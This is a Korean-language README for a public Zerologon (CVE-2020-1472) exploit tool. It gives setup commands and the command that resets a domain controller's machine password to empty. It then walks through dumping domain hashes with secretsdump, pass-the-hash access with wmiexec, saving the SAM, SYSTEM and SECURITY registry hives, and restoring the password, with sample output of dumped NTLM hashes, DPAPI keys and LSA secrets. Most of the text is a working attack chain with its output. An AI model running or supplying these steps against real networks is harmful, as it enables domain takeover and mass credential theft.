
CVE-2020-1472(일명 Zerologon)에 대한 익스플로잇 코드
CVE-2020-1472용 체커 및 익스플로잇 코드, 일명 Zerologon
도메인 컨트롤러가 Zerologon 공격에 취약한지 테스트하며, 취약한 경우 도메인 컨트롤러의 계정 비밀번호를 빈 문자열로 재설정합니다.
참고: 프로덕션 환경에서 문제를 일으킬 가능성이 높습니다 (예: DNS 기능, 복제 도메인 컨트롤러와의 통신 등). 대상 클라이언트는 더 이상 도메인에 인증할 수 없게 되며, 수동 작업을 통해서만 다시 동기화할 수 있습니다. Zerologon 공격이 어떻게 문제를 일으키는지 더 알고 싶다면, @_dirkjan의 훌륭한 작업 덕분에 여기에서 읽을 수 있습니다.
Secura (Tom Tervoort)의 Zerologon 원본 연구 및 백서 - https://www.secura.com/blog/zero-logon
Netlogon 인증 우회를 시도합니다. 도메인 컨트롤러가 패치된 경우, 탐지 스크립트는 2000쌍의 RPC 호출을 보낸 후 포기하며 대상이 취약하지 않다고 결론내립니다 (오탐지 확률 0.04%).
익스플로잇은 도메인 컨트롤러가 로컬에 저장된 비밀번호가 아니라 Active Directory에 저장된 비밀번호를 사용하여 로그인 시도를 검증할 때만 성공합니다. 이 방식으로 비밀번호를 변경하면 AD에서만 변경되기 때문입니다. 대상 시스템 자체는 여전히 원래 비밀번호를 로컬에 저장합니다.
Python 3.7 이상, virtualenv, pip 및 수정된 Impacket 라이브러리 (nrpc.py, /impacket/dcerpc/v5) 추가된 netlogon 구조를 포함한 최신 버전의 impacket(GitHub에서 제공)이 필요합니다.
git clone https://github.com/SecureAuthCorp/impacketcd impacketpwd
~/impacket/
virtualenv --python=python3 impacketsource impacket/bin/activatepip install --upgrade pippip install .~/impacket/
cd examplesgit clone https://github.com/VoidSec/CVE-2020-1472cd CVE-2020-1472pip install -r requirements.txt이 스크립트는 DC 또는 백업 DC를 대상으로 사용할 수 있습니다. 읽기 전용 DC에서도 작동할 가능성이 있지만, 아직 테스트되지 않았습니다.
DC 이름은 NetBIOS 컴퓨터 이름이어야 합니다. 이 이름이 올바르지 않으면 스크립트가 STATUS_INVALID_COMPUTER_NAME 오류와 함께 실패할 가능성이 높습니다.
EXAMPLE-DC라는 도메인 컨트롤러와 IP 주소 1.2.3.4가 주어졌을 때, 다음과 같이 스크립트를 실행합니다:
./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4스크립트를 실행하면 도메인 컨트롤러의 계정 비밀번호가 빈 문자열로 재설정됩니다.
이 시점에서 Impacket의 secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR (또는 빈 해시: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 사용 가능)를 실행하여 NTDS.DIT 데이터(NTLM 해시 및 Kerberos 키)만 추출할 수 있습니다.
그러면 도메인 관리자 권한을 얻을 수 있습니다. WIN WIN WIN
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. .....a....Q
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up...
> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
DC가 정상적으로 작동하려면 원래 비밀번호 해시를 다시 설치해야 합니다.
도메인 관리자 권한을 획득한 후, secretsdump에서 얻은 자격 증명을 사용하여 대상 DC에 wmiexec.py로 접속한 후 다음 단계를 수행합니다:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
실행: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
그러면 머신 계정의 원래 NT 해시가 표시됩니다. 그런 다음 여기에서 제공하는 reinstall_original_pw.py 스크립트를 사용하여 해당 원래 머신 계정 해시를 도메인에 다시 설치할 수 있습니다. 성공하려면 여러 번 실행해야 할 수도 있습니다.
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
또는 다음 복원 과정을 사용할 수 있습니다.